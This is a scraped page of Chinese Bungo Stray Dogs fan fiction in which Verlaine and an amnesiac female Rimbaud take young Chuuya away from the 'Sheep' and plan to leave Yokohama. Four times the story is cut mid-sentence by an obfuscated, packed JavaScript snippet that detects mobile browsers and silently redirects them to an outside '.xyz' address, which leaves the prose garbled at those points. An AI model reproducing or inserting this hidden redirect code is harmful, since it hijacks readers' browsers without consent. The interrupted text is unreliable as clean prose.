魏尔伦的眼神冰冷起来,他叹了口气,抬起手, “很抱歉——” “——很抱歉,但他确实是中也的哥哥。” 兰波轻轻按下魏尔伦的手,捏了捏他纤长的手指,又安抚地拍了拍,最后十分自然的握住,感受到被紧紧地反握后,才语调冷静地开口解释, “保罗的继母是中也的亲生母亲,他们虽然没有血缘关系,但确实是兄妹,而且在中也八岁之前,他们一直生活在一起。” 金色的小立方体用不容抗拒的力道,压下了银白发孩童抬起的胳膊,在对方惊恐畏惧的眼神中,兰波朝着中原中也招招手,橘发女孩下意识挣脱一旁粉发女孩的束缚,朝着门口跑来, “你……你好——啊!” 兰波松开握着魏尔伦的手,直接将中原中也抱了起来,柔软馨香的陌生感受令她瞬间红了脸, “我……” “好久不见,中也。” 黑发女性面容秀丽,碧绿的眼眸像是盛满春日阳光的幽潭,此刻,幽潭上划过一缕悲伤,又揉上一丝喜悦,堵住中原中也尚未开口的询问, “我们终于找到你了。” 她将中原中也递给魏尔伦,看到后者略显僵硬地抱住妹妹后,不甚明显地轻笑一声,随后看向神色复杂的银白发孩童, “很感谢你们这两年对中也的照顾,但既然找到了中也,我们是不会让她继续待在这样的地方的。” “……中也,你确定他们是你的亲人吗?” 眼看事情好像已成定局,粉发女孩不甘心地大声质问, “是我们在爆炸的地方捡到你的,他们如果真的是你的亲人,为什么会把你留在那里!?” “事实上,我们都在那场爆炸中受了伤。” 兰波眉头轻蹙,她没有理会粉发女孩,而是居高临下地睨视着银白发男孩, “也一直以为中也因为爆炸而丧生——如果不是最近听说有人在这边见过橘发蓝眼的女孩的话。” 银白发男孩看了眼中原中也,深吸一口气, “中也,你对他们有印象吗?” 好、好像真的对这个怀抱有印象。 中原中也咬着下唇,她能感受到金发的高大外国人抱着自己时小心翼翼的力道,但是…… 兰波瞟了眼中原中也的神色,忽然垂下眼帘,放柔语气, “我们会带走中也,也会给你们应得的报酬——每个人的身份证明,以及一栋属于你们自己的屋子,没有大额的金钱,我想你们能理解为什么。” 轻柔的话语像一枚炸弹,屋内瞬间炸了锅, “让她走吧。 “对啊,反正她在这里也没什么用。” “让她走吧,白濑。” …… “烦死了!” 银白发孩童咬着牙,他恶狠狠地吼了一声,又扭过头来死死地盯着兰波, “你说话算数吗?” 兰波眨眨眼,从魏尔伦的兜里掏出手机,回拨给最近通话, “十六份孩童的户籍,四女十二男,年龄先不要填。横滨市区第五大道西南拐角有一栋待售的三层一户建,价格1300万,我们下午要去过户——顺便买足够十六个孩童吃一个月的食材。” “?” 电话那头的跑腿嘴角抽动了一下, “我只是个跑腿。” “中介费200万,定金1000万,等下打给你。” “ok,下午两点,房子旁边见。” “一个叫白濑的男孩会去找你。” 兰波挂断电话,掏出自己的手机递给白濑, “拿着这个,地址应该找得到?” 屋内鸦雀无声,白濑也目瞪口呆,他愣愣地接过手机,艰难地吞咽了一口口水, “找、找得到。” “下午两点我会给你打电话,记得接。” “好的。” “再见。” ———————————————————— 直到坐在轿车柔软的皮质座椅上,中原中也还有些晕晕乎乎——她就这样跟着两个陌生人离开了“羊”?整个过程还不到十分钟? “密码。” 兰波轻声询问。 “891020” 魏尔伦回答得很迅速。 “?” 像是谁的生日。 兰波挑眉,把说好的定金转给跑腿,随后将手机物归原主,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871201|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“房子的1300万过户的时候转给他,办户籍的尾款应该还要1200万左右,下午过完户再转。” “嗯。” 魏尔伦表情淡然, “现在去买衣服,然后吃饭?” “先吃饭吧。” 兰波否定了魏尔伦的提议, “昨天买的衣服能穿,中也应该很饿了。” 中原中也确有点饿,但这些不是她现在在考虑的事情, “你们……” 她迟疑地提问, “叫什么?” “……” 魏尔伦僵硬了一瞬, “保罗·魏尔伦,她是阿……兰波。” 阿? 艾米丽?艾丽卡?奥莱利?奥德莉?安娜?阿尔托莉雅? 兰波飞速思索着自己可能的名字,面上仍不动声色, “中也喊哥哥姐姐就行。” “姐姐。” 中原中也从善如流, “你为什么……要给他们那些?” 兰波从前座的缝隙中探过头,看着那双与魏尔伦极为相似,但颜色更加浓重一些的钴蓝色眸子, “中也很担心他们吧。” 黑发女性的脸上依然没有什么表情,但没了刻意伪装的温和后,她的话反而更能令中原中也信服, “他们不愿意让你离开的原因,是你拥有的力量,能够帮助他们在擂钵街立足。” 收集情报似乎是刻在兰波骨子里的习惯,她对擂钵街的一切势力几乎都了如指掌,包括刚成立没多久的孩童互助会“羊”,以及尚未崭露头角的,“羊”的小小异能力者, “这同样是你不太愿意离开的原因——你将他们视作家人,也视作自己的责任。” 善良与责任感,是不该出现在擂钵街的好品格。 兰波的语调算不上赞扬, “所以我用3000万,给他们一个更有可能性的未来,也买断你和他们之间的联系。” 非常兰波的做法,也非常兰波的解释。 插不上话的魏尔伦看着眼前逐渐繁华的街道,在心里默默感叹。而中原中也咬着下唇,胸腔涌起一股无处发泄的委屈, “我以为……” “你是个重情义的好孩子。” 兰波打断橘发女孩的话, “可他们不是——或者说不全是。” 她做出总结, “他们照顾你两年,能够得到超越付出的回报,于他们而言是好事,于你而言也是好事。不要为了以后都不会再见的人伤心,你的家人是保罗,不是他们。” 中原中也沉默地听着。 “还有你。” 魏尔伦忽然补了一句话, “ 你也是中也的家人。” ……现在反驳的话,这家伙会哭吗? 说话前真的有考虑过她以什么身份作为家人么? 兰波眨眨眼,面无表情地思考。 算了。 她看了眼魏尔伦的侧脸,还是默认了对方的说法——让哥哥在久别重逢的妹妹面前保留一些颜面吧。 ———————————————————— 酒店的地下停车场很大,下车后,魏尔伦犹豫片刻,又将中原中也抱了起来, “先回去换衣服。” “谢谢。” 中原中也坐在魏尔伦怀里,没有丝毫犹豫地开口, “兄长,兄嫁(あによめ)*” 5. 中原中也的疑惑 听到中原中也的称呼,魏尔伦刚打算迈开的脚步停下来,他下意识看了眼兰波的表情——黑发女性抿着唇,似乎想要说些什么。 这样的表现,应该是不希望被这样称呼吧——更何况他们根本就不是那种关系。 魏尔伦有些失落地垂眸,语调平静地对妹妹解释, “不是嫂嫂*。” 他一手托住中原中也,另一只手将兰波刚从车上取下的皮箱和挎包都接了过来, “……喊姐姐就行。” 不是……吗? 中原中也愣了愣。 兰波也顿了一下,但没有反驳的意思,只是顺着魏尔伦的话说, “嗯,喊我姐姐就可以了。” ……看吧,兰波果然不想被那样称呼。 魏尔伦几乎要把嘴唇抿成一条直线,他径直朝电梯的方向走去,脚下的步伐越来越快,兰波跟在他身后走了一小段路,终于还是无奈地伸出手,挽住魏尔伦的臂弯, “保罗,走慢一点。” 还好买了新鞋子,要是原本那个硬底的麂皮靴,她恐怕已经开始脚底疼了。 听到兰波请求的声音,金发青年放缓速度,但脸上的神情依然有些僵硬, “抱歉,我……” “没关系。” 兰波的手慢慢下滑,轻柔地落在魏尔伦的手上, “保罗很少和别人一起走吗?” “……嗯。” 他确实太久没和任何人在一起走路了,和兰波并肩穿过回家的小巷,行走在巴黎河畔的那些记忆,自那场爆炸之后,都盖着灰蒙蒙的雾气。 但是—— 魏尔伦干脆松开皮箱和挎包,好让兰波的手能够整个被包在他的手掌中, “我以后会注意的。” ——那些任凭他如何努力也擦不干净的灰雾,如今似乎正在被潺潺的溪流冲刷着,清凉而温柔地抹去。 连皮鞋触地的声音都变得轻缓起来,中原中也趴在兄长的肩头,眨巴着钴蓝色的大眼睛,一边好奇地看着被暗红色的流光包裹着漂浮起来的箱包,一边有些疑惑地思考。 真的……不是嫂嫂吗? ———————————————————— 好消息是,昨天给中原中也预定的四套衣服中,有两套能穿。 坏消息是,能穿的是小号的那两套。 直到这会儿,魏尔伦才有空认认真真地上下打量一遍妹妹。 橘色的半长发,和他相似的蓝色眼睛,以人类的审美来看相当精致可爱的五官,以及——大约只有128cm的身高。 他一把抓住坐在沙发上的中原中也,轻巧地拎起来,掂量了一下。 ——还好,至少体重是正常的28kg,看来那群小孩没有在食物上亏待她。但这也说明,他一开始考虑到的因生长环境造成的矮和瘦并未发生,中原中也的矮是先天的。 “!?” 中原中也吓了一跳,下意识开始挣扎,她抬起手,抓住魏尔伦的小臂,暗红色的光芒沿着兄妹二人相触的地方延伸,带着极大的力道,坠得魏尔伦脚下一沉。 金发青年瞬间反应过来,颜色相同的流光包裹住全身,抵消了来自妹妹的攻击,两人就这样僵持在原地。 兰波刚从鞋盒里拿出尺码合适的运动鞋,扭过头来就看到这样怪异的场景,不由得愣了一下,片刻后,忍住笑意,将中原中也从魏尔伦的手里救下来, “保罗,松手。” 魏尔伦僵硬地收回手。 “给中也道歉。” 魏尔伦压了下唇角,尴尬地开口, “抱歉。” 兰波安抚地拍了拍橘发女孩的发顶,将运动鞋递给她,又有些好奇地询问, “怎么忽然把中也提……拎起来?” 说到这个,魏尔伦摇了摇头, “她有点矮。” 金发青年没注意到橘发女孩顷刻间连系鞋带的动作都停下的样子,继续分析, “但是体重在正常范围内,所以她的身高是先天骨骼的问题。” 他不是很能理解,日本这边为什么造个人工异能体还要选择这么低矮的基因。 魏尔伦在那场爆炸中见过荒霸吐,确实是和吉维尔相同的重力异能,而非其他的敏捷型能力,所以在人工异能体的选择上不应该和他一样,用更加匀称矫健一些的基因,来发挥异能力最大的威力吗? 不过话又说回来,他其实长得有些太高了——兰波曾经说过,185左右才是最适中的,可他早在18岁的时候就超过了这个高度。 “保罗。” “嗯?” 兰波贴着中原中也坐下,帮橘发女孩整理卫衣的帽子, “中也是之前营养不好,以后会长高的。” “很难。” 魏尔伦没听出她语气中的暗示,依然一板一眼地陈述结论, “以她的骨骼,以后最多发育到160cm,更大的概率是只有155cm左右。” 而且,想要长到160cm,还必须是在尽量少用异能力的情况下——高频率使用重力异能,尤其是对自己使用以加强身体强度时,重力会压缩骨骼密度,让骨缝过早闭合。 当初农神集社的清扫工作收尾后,他就被兰波拉着,以影响身体的名义,接了很多不太需要动手的任务,也正是在那年,他和兰波的身高都开始疯长。 “……” 兰波用余光观察了下中原中也的表情,小姑娘看起来有点伤心,可怜巴巴地咬着下唇,她无奈地终止这个话题,支使魏尔伦, “中午要吃什么订好了吗?订好了的话问下现在能不能过去,吃完饭回来再给中也洗澡。” 魏尔伦“哦”了一声,停止关心妹妹的身高,走到客厅,给房间管家拨去电话。 中原中也看着他的背影,眼神里流露出艳羡, “我真的不能长那么高吗?” 从有记忆开始,她就是所有孩子里最矮的一个,甚至连比她还小的男孩都比她要高一点,搞得她经常忧虑自己的身高。 “不能。” 兰波直截了当地给出否定的回答, “保罗至少也有190呢,女性想要达到这个高度比较困难。” 她先解释了原因,又小声劝慰, “不过160以上肯定是可以的,而且这个身高也很好,灵活性比较强,在战斗中比较具备优势。” 一番话有理有据,中原中也信服地放下焦虑,乖巧点头。 虽然兄妹间出了些小波折,但好在魏尔伦选择的午餐没有什么问题,酒店的后厨听说是出手阔绰的外国客人预定的餐品,相当卖力地烹饪了经典的日式大餐。 餐后不久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871202|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是与白濑和黑中介约定的时间。 “他已经到了吗?” 兰波站在窗边打电话, “房子过户给他,未成年的问题你应该有办法。” “……有是有。” 黑中介看着面前最多12岁的银白发男孩,有些为难, “但是……” 兰波明白他的意思,捂住手机话筒,看向魏尔伦, “保罗,你还能出多少?” 魏尔伦摇摇头, “多少都可以。” 人造神明本来就不缺钱,再加上已经灰飞烟灭的那个肮脏灵魂对入侵意识要求的100亿,更是花都花不完。 兰波比了个“ok”的手势,松开话筒, “再加800万日元中介费,把这群孩子安置妥当。” 她的声音沉了沉, “我相信你不会辜负我们的信任。” “当然、当然。” 黑中介搓搓手——他又不是傻子,虽然不清楚这个女声的来历,但那个金发蓝眼的外国人一看就知道很强,他还不至于为了这点钱得罪一个强大的异能力者, “放心吧,我现在带他们去过户。” 无非是多做一个老年人的身份,让这栋屋子能以遗产形式继承而已,他瞥了眼已经挂断电话的白濑,“啧啧”两声,感叹道, “真是走运的小子。” 白濑不置可否地跟在他身后,紧紧攥着那一沓身份证明,一言不发地朝着崭新的未来前进。 ———————————————————— 魏尔伦坐在沙发边,看着中原中也,他本来想直接敲定等下的行程,可话到嘴边,又想起上午发生的事情,于是耐着性子询问, “等下去买衣服?” 经过小半天相处,中原中也对这个哥哥熟悉了一些,胆子大起来,她摇摇头,否定了哥哥的提议, “对不起,我有点困。” 橘发的女孩很久没吃得这么饱——香喷喷的米饭,美味的鳗鱼,比她的头都更大一圈的螃蟹,还有新鲜嫩滑的甜虾…… 回想起刚才的午饭,中原中也还有些意犹未尽,她舔了舔嘴唇,小心翼翼地提问, “可以睡到吃晚饭的时候再喊我吗?” 看着妹妹恳切的眼神,魏尔伦顿了顿,肯定地点头, “可以。” 他侧过头,看向已经走过来的兰波, “兰波,下午就不出去了。” “嗯。” 兰波对这个决策接受良好——因为她同样有点困,而且身体还有些隐隐的酸痛,想到这里,她又不露痕迹地瞪了眼魏尔伦, “我和中也一起休息。” 她对着定下这套房间的主人下逐客令, “你不睡的话,可以去客厅做别的事情。” 说完,她牵住已经有些睡眼惺忪的橘发女孩,往浴室走去。 一个小时后,洗得香喷喷后,窝在床上睡得香甜的中原中也迷茫地睁开眼——有人爬上床来了, “是我。” 魏尔伦的声音压得很低,他搂住兰波,又顺势拍了拍中原中也的背, “睡吧。” “……” 中原中也翻了个身,迷迷糊糊地思考起来。 ——都抱在一起睡觉了,真的不是兄长和兄嫁吗? 6. 准备离开咯! 套房管家带着工作人员敲响门铃时,兰波和中原中也还在睡觉。 工作人员推着餐车——魏尔伦在中午兰波带着中也洗澡的时候就订好了晚餐,他速度极快地审查了一遍,确认没有问题后,侧身让开通路, “放到餐厅吧。” “好的。” 管家挥挥手,工作人员轻手轻脚地将餐盘摆放整齐,随后推着餐车鱼贯而出,管家也后退两步, “提前祝您和家人用餐愉快。” “嗯。” 魏尔伦微笑着回应,又补充道, “等会儿会有人来送我昨天订好的商品,请帮我签收后送过来。” “您放心,我们会确保商品完好无损地送到您手上。” 管家礼貌地鞠躬,后退几步,从外关上房门。 身后有极轻的脚步声传来,魏尔伦皱着眉头转过身,看了眼兰波,对方果然光着脚踩在地毯上——这是兰波一直都有的坏习惯,失忆前的兰波在自己家中时也经常这样,明明很怕冷,却又觉得拿个东西而已,根本没必要穿鞋。 只不过那时候,兰波家里也一如这套套房一样,全屋都铺着柔软舒适的地毯,再加上只要待在家里时就不曾熄灭的壁炉,纵然光着脚走几步路,也不可能感到寒冷。 “晚餐到了?” 兰波眨眨眼,脚趾瑟缩了一下——这漂亮笨蛋看了眼她的脚就忽然沉默起来是怎么回事?她的脚很难看吗? “保罗?” 她还没来得及问出下半句,魏尔伦忽然一个跨步走过来, “回屋里去。” 金发青年用半命令的语气说着,语调有些僵硬,似乎不是很习惯这种口吻, “穿好拖鞋。” “???” 兰波一时没反应过来,茫然地抬头,魏尔伦却以为她不想听话——以前的兰波也总是这样,自说自话地决定一切,很少会听他在讲些什么。 但那是以前了。 他干脆直接把兰波横抱起来, “会着凉的。” 魏尔伦绷着脸,心情却莫名有点雀跃——终于也轮到他管兰波一次。 兰波被他吓了一跳,下意识环紧他的肩膀, “放我下来。” 魏尔伦没理她,径直走进卧室,把她放在床上, “要记得穿鞋。” 说完,像是打了胜仗一样,神气又愉快地从一旁把兰波的拖鞋拿了过来,摆在床边。 “……” 兰波无语地呆住,片刻后,乖乖穿上拖鞋,不打算再在这个话题上继续,她扭头看了眼中原中也,橘发的女孩还在安静地睡着, “要喊中也起来吗?” 毕竟是中原中也自己心心念念的晚餐,如果不喊她起来,虽然以这孩子的性格应该不至于生气,但肯定也会有点委屈。可橘发女孩也明显很久没睡过这样香甜的觉,现在喊她的话…… 兰波还在思考,魏尔伦已经伸出手,拍了拍妹妹的后背, “中也,起床吃饭了。” “……” 看着橘发女孩晃晃悠悠坐起身来,还有点迷蒙的表情,兰波无奈地叹了口气。 ———————————————— 兰波和中原中也都睡了整整一个下午,满打满算将近三个小时的时间。所以吃完晚饭后,她不是很困,橘发女孩也相当精神。 中原中也围着刚送来的一架子衣服转了三四圈,不敢置信地抬头, “这些——都是我的衣服吗?” 橘发女孩以前都是穿捡来的破衣服,最近这一年好一点,能够用“赚来”的钱买到二手衣服,但像这样一整排干净崭新的,属于自己的衣服,她还从来没有见过。 “嗯。” 兰波轻声回应, “下午你还在睡觉的时候,保罗帮你定的。” 她看了两眼,挑出一条驼色的裙裤和一件米白色的宽松衬衫,递给中原中也, “试试看?” “……好的。” 从惊讶中回过神来,橘发女孩稚嫩可爱的脸上闪过一丝犹豫,但看着兰波温和的碧绿眼眸,和魏尔伦毫不在意的平静侧脸,她终于还是藏不住喜悦地笑起来,小心翼翼地接过衣服, “谢谢兰波姐姐。” 中原中也的身影消失在起居室门后,兰波收回视线,垂下头,随手拿起一条腰封,是昨天定制的,跟着中原中也的新衣服一起送来——说是定制,其实不过是拿成衣改尺寸而已,但能在这么短的时间内完工,也足以称得上服务上佳。 她大概比画一下,又重新放了回去。 “……你怎么不试试?” 坐在沙发上的魏尔伦终于不再假装欣赏风景,眨眨眼睛,有些疑惑, “试穿之后如果不合适的话,我们还有两天的时间可以调整。” 人造神明赶来日本的行程很匆忙,到横滨后,也只在这家酒店订了五天的套房。两天后,他们就要搭上途经横滨的游轮,离开这个远东的偏僻城市。 兰波瞥了魏尔伦一眼,拎着那条腰封走到魏尔伦身前,语调平静地解释, “是系带款的,我不太方便自己穿。” 魏尔伦愣住,有些尴尬地轻咳一声, “抱歉,我忘了说要做成按扣款。” 嗯,连她以前穿什么款式的腰封都知道。 失忆后到现在,只在最初穿着的那套衣服上见过,但根本买不起,也基本没穿过腰封的兰波轻叹一口气, “没关系。” 她将那条腰封递给魏尔伦,然后转过身,撩起已经长到快要及腰的墨色长卷发, “保罗可以帮我试穿一下吗?” “……” 魏尔伦沉默地拿起腰封,将剪裁精致的布料绕过兰波的腰,随后小心翼翼地抽紧丝带,定定地看着被束成窄窄一握的纤细腰身, “尺寸刚好,不用修改。” 刚好吗? 兰波低头看了看,想转过身来,魏尔伦的手却仍握在她的腰上,没有动弹,也令她动弹不得, “保罗?” “你太瘦了。” 金发青年从恍惚中回神,他松开手,又想起昨晚——最开始的时候,就算酒意上头,他也半点不敢用力,因为兰波的身体实在太过瘦弱,明明个子不矮,可身上的每一处都那么小巧纤细。他抿着唇,语气带着淡淡的低落, “要多吃点东西。” 兰波无奈地拍了拍那只手, “我知道。” 她最近其实已经胖了不少——异能力逐渐稳定下来之后,地位也水涨船高,住得起擂钵街外单独的居所,还能偶尔吃顿不错的饭菜。但身体的暗伤旧病都太多,想要休养回来没那么容易。 魏尔伦这才松开手,兰波看着他不知在想些什么的表情,轻轻叹了口气,坐到他身旁,一起看着窗外即将落下的夕阳。 宁静的氛围并未持续太久,中原中也兴奋地推开起居室的门, “我换好啦!” 她像一只扑腾着翅膀奔跑的红头长尾山雀,在魏尔伦和兰波面前紧急刹车, “好看吗?” “好看,尺寸也合适。” 兰波打量着焕然一新的橘发女孩, “中也还想试试别的吗?” “不用了。” 中原中也很用力地摇摇头, “我要留到明天、后天还有大后天……一天一天地穿。” 魏尔伦不太明白妹妹的逻辑, “为什么?” “因为一共有十五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871203|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套衣服。” 中原中也掰着手指数数, “我一天穿一套的话,那么后面的十五天都有新衣服穿,每天都有惊喜,每天都会很开心。” “……开心就好。” 像一个普普通通的人类女孩一样,开心快乐地长大就好。 魏尔伦垂眸,又因为猛然接近的气息而抬起头,看到是中原中也后,才勉强放松警惕, “怎么了?” “谢谢哥哥。” 中原中也十分认真地道谢,她又仰起头,扯了扯兰波的袖子,兰波不明就里地弯下腰,随即脸颊上传来一触即分的温热触感——中原中也亲了她一口, “也谢谢兰波姐姐。” 中原中也不是笨蛋。 按照她给自己定的年龄来算,今年勉强也有十一岁的橘发女孩很清楚,兰波给“羊”的孩子们提供的是怎样周全的礼物,有了身份证明和住所,年龄比较大的几个孩子就可以去小店打零工,而不用再像以前一样偷偷摸摸躲躲藏藏——他们甚至也许能去上学。 细微的暖流弥漫着,兰波停顿一下,抬起手,轻轻抚摸橘发女孩的发顶, “不用谢。” ———————————————————— 就算不困,该睡觉的时间也还是要上床睡觉。 当然,主要原因是横滨着实没什么热闹的夜生活——只说热闹的话倒也热闹,帮派火拼、偷盗、抢劫比比皆是,不过显然都不是适合休闲放松的活动。 魏尔伦坐在床沿,看着趴在兰波怀里的中原中也,思索起来——现在找到了兰波,也接到了妹妹,接下来就努力把兰波的身体养好,让妹妹以人类的身份快乐长大。 去哪里比较合适呢? 兰波正有一下没一下地拍着中原中也的背,试图把精神饱满的橘发女孩哄睡,可中原中也还是睁着眼,半点没有睡觉的意思,此刻听到兄长的话,疑惑地反问, “什么去哪里?” “两天后,我们坐游轮去美国。” 魏尔伦耐心地解释, “但美国不适合生活。” 金发青年对这个地方印象不是很好, “坐飞机回欧洲的话,法国和英国都不能去——去北欧吧。” 听到这番话,兰波也抬起头,忽然想起来遗忘的事情。 她昨天只请了一下午的假来着? 除了希望能找到调查自己记忆的线索以外,对横滨根本毫无留恋的黑发女性冷漠地思考着——那个叫白濑的小子应该已经把她的手机卡丢了,直接离开也无所谓。 但中原中也对离开横滨这件事有些忧愁, “真的要离开吗?” 就算能猜到,可现在这样直白地说要离开,自有意识起就待在横滨的橘发女孩还是有些失落。她对这座城市不能说喜爱,但也有尚且不算深厚,却又不可能完全忽视的归属感。 兰波刚要说些什么,就听到魏尔伦生硬地回答, “当然要离开,这里不适合你成长,也不适合兰波养伤,北欧的环境比较好。” ……哎。 兰波抿了下唇角,无奈地补充一句,以宽慰橘发女孩, “以后有机会的话,还是会回来看看的。” “嗯。” 小孩的伤心只是一会儿,中原中也乖乖安静了几分钟,又打起精神,叽叽喳喳地询问起北欧的情况来,魏尔伦干脆也上了床,搜肠刮肚地把对各国的印象都一一讲述。 兰波怀里抱着个小火炉,背后贴着个大火炉,困意很快袭来,彻底睡着之前,她忽然想起一件事,迷迷糊糊地叮嘱魏尔伦, “明天,去把我的东西收拾一下。” 她的小屋里别的都不重要,但有一本目前打不开的手记必须带走。 7. 怎么不算同床异梦 魏尔伦的睡眠质量通常很好,这也意味着他需要的睡眠时间通常不多。下午陪着兰波和妹妹睡了将近两个小时之后,他现在半点困意都没有。 中原中也询问的声音已经彻底消失,她向下拱了拱,钻到兰波怀里,呼吸变得悠长而舒缓,显然下午三个小时的睡眠并未彻底缓解她的疲累,橘发女孩又陷入了甜蜜的梦境。 魏尔伦伸出手,将妹妹那侧的被子往上拉了拉,然后盯着兰波的黑发,静默地发呆。 一直到现在,魏尔伦还有点如在梦中的感觉——一切都快得不可思议,也美好得不可思议。安静躺在他怀里的兰波,依偎在两人身边的妹妹,即将出发的旅行……但他也清楚,这并不是梦境,因为他不会做梦,而且即便是在最痴心妄想的幻想中,他也从未想过能有这样的美好。 魏尔伦忍不住低头吻了吻兰波的发顶,又为自己的行为感到可耻。 他欺骗了兰波,目前所得到的一切都建立在兰波的失忆和他的欺骗下,包括昨晚那样亲密的行为,兰波肯定是误会了什么才会…… 淡淡的悲伤和惶恐从心口处散开,令魏尔伦的手有些颤抖,明明下午的时候刚刚决定了接下来的目标之一就是治疗好兰波,可现在他却有点想反悔——反正战争已经莫名其妙地结束,铁塔也没有发出对他的通缉,他只要带着兰波和妹妹,一辈子绕开法国生活就好,曾经的那些记忆,兰波能不能想起来并不重要。 ——不。 另一道声音反驳着魏尔伦。 那很重要,那是他和兰波从相遇到成为搭档的三年,是魏尔伦最重要的记忆,兰波怎么能彻底忘记? 但如果兰波想起来,他就会失去现在的一切。 …… 杂七杂八的思绪像是被丢进皮包的耳机线,一条、两条、三条……直到所有的线都缠绕着解不开,魏尔伦才猛然闭上眼睛——怀中纤瘦到有些硌人的身体动了两下,兰波似乎醒了。 兰波确实醒了。 魏尔伦能感受到她小心翼翼的动作,先把怀里的橘发女孩往一旁挪了挪,又轻柔地抬起他搂在她腰间的手,最后慢慢坐起来,停顿片刻,从他腿边跨过去,轻手轻脚地下了床。 ……兰波要去干什么? 魏尔伦有些惶恐。 赤裸的脚踩在柔软的地毯上,发出微不足道却震耳欲聋的声音,魏尔伦平缓地呼吸着,数着兰波离开的距离。 一步、三步、十步…… 兰波应该是走到了茶几的位置,然后—— !? 魏尔伦几乎要装不下去了,他听到了什么? ——兰波拉开了背包的拉链,似乎从里面拿出来了什么放在桌子上。 是船票吧,兰波把船票拿了出来——她不打算跟他们一起离开,她要走了。 兰波打算偷偷离开他了。 那双不知何时睁开的湛蓝色眼眸中,划过一丝猩红的愤怒,又蔓延上浓密的委屈,魏尔伦的脚步更轻,他悄无声息地翻身下床,站在兰波身后,紧紧攥住那只正打算拉上包链的手, “你要去哪?” “!!!” 兰波吓了一跳, “保罗?” 这漂亮笨蛋什么时候醒的? 魏尔伦咬了咬下唇,干脆掐住她的腰,继续压低声音质问, “你要去哪?” “?” 兰波很迷茫, “我……去哪?” 她哪也不去啊? “你要拿着包离开了吗?” 见她不承认,魏尔伦更生气也更委屈,清澈的嗓音甚至掺杂了一丝鼻音,变得有些沙哑, “你打算趁着我和妹妹睡觉,就这样不打一声招呼离开。” 他早该想到的,兰波从来不是什么乖巧听话的人,更何况,以她的冷静理智和高警惕性,怎么可能会跟刚认识两天的人离开目前居住的地方,前往虚无缥缈的未来? “……” 兰波有些乏力,她向后仰了仰,做出要倒下的动作,魏尔伦果然紧张地接住了她, “兰波?” “我肚子不舒服。” 贴在温热的大火炉上,黑发女性举起手中的一板药片晃了晃,简短地解释, “可能是今天吃得太好了,而且我本来就有胃病,所以来拿胃药吃。” 察觉到火炉慢慢变得有些僵硬,兰波还是忍不住无奈又好笑地勾起唇角, “既然你也醒了,能帮我接杯热水吗?” “……好的。” 魏尔伦无措地松开手,看着兰波坐到沙发上,又局促地将一旁的小毯子盖在她身上,才像个鬼影一样飘出卧室,片刻后,端着一杯温水飘回来, “热水对食道不好,这个温度更合适。” “谢谢保罗。” 兰波仰起头,吞下胃药,然后打了个哈欠, “回去睡觉吧。” 她站起身,拉住魏尔伦的手,像牵住流浪猫的缰绳,魏尔伦顺从地垂下头,亦步亦趋地跟在兰波身后,看着她小心地掀开被子钻进去,又往一旁挪了挪,给他留出足够的位置, “保罗?” 兰波轻轻地拍了拍枕头, “很晚了,快睡吧。” “嗯。” 魏尔伦乖巧地躺下,又将兰波拥进怀里, “晚安,兰波。” “晚安,保罗。” ———————————————————— “早安!” 中原中也十分精神,扑腾着一双小短腿在套房里奔来跑去——她先是洗漱完,又回到房间穿上了昨天试穿的那套新衣服,然后凑到餐桌前,看了看今天的早餐, “这是什么?” “是松饼。” 魏尔伦像个说明书, “用打发的鸡蛋和面粉混合之后煎制,再撒上糖粉,是西式早餐和下午茶中常见的食物。” “哇……” 橘发女孩伸出手,小心地戳了一下, “它好软!?” “嗯,因为鸡蛋被充分打发了。” 这家酒店的厨师手艺确实不错,魏尔伦将热牛奶放在妹妹面前, “如果喜欢吃甜味,可以淋枫糖浆或巧克力酱。” 为了给客人充足的选择权,松饼上都只撒了薄薄的一层糖霜,可以自由选择是直接配着培根煎蛋吃,还是变成甜味。 中原中也知道巧克力,白濑曾经带着她抢过一个大人们组成的小帮派,战利品中就有这种甜蜜的棕褐色糖块,但她不清楚什么是枫糖浆,所以思索片刻后,橘发女孩拿起了应该是枫糖浆的那瓶半透明的淡黄色液体,小心地淋了一些,又放回原位,笨拙地用叉子叉起一整块松饼送进嘴里, “唔——唔唔唔。” ? 魏尔伦不太理解,只能体贴地认为这可能是妹妹独特的吃松饼方式。 “中也?” 刚洗漱完的兰波惊讶地走过来,把橘发女孩从被松饼噎死的可能中救下,又谴责地看了眼魏尔伦, “怎么不帮她切一下,她这样一口吞下去,真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 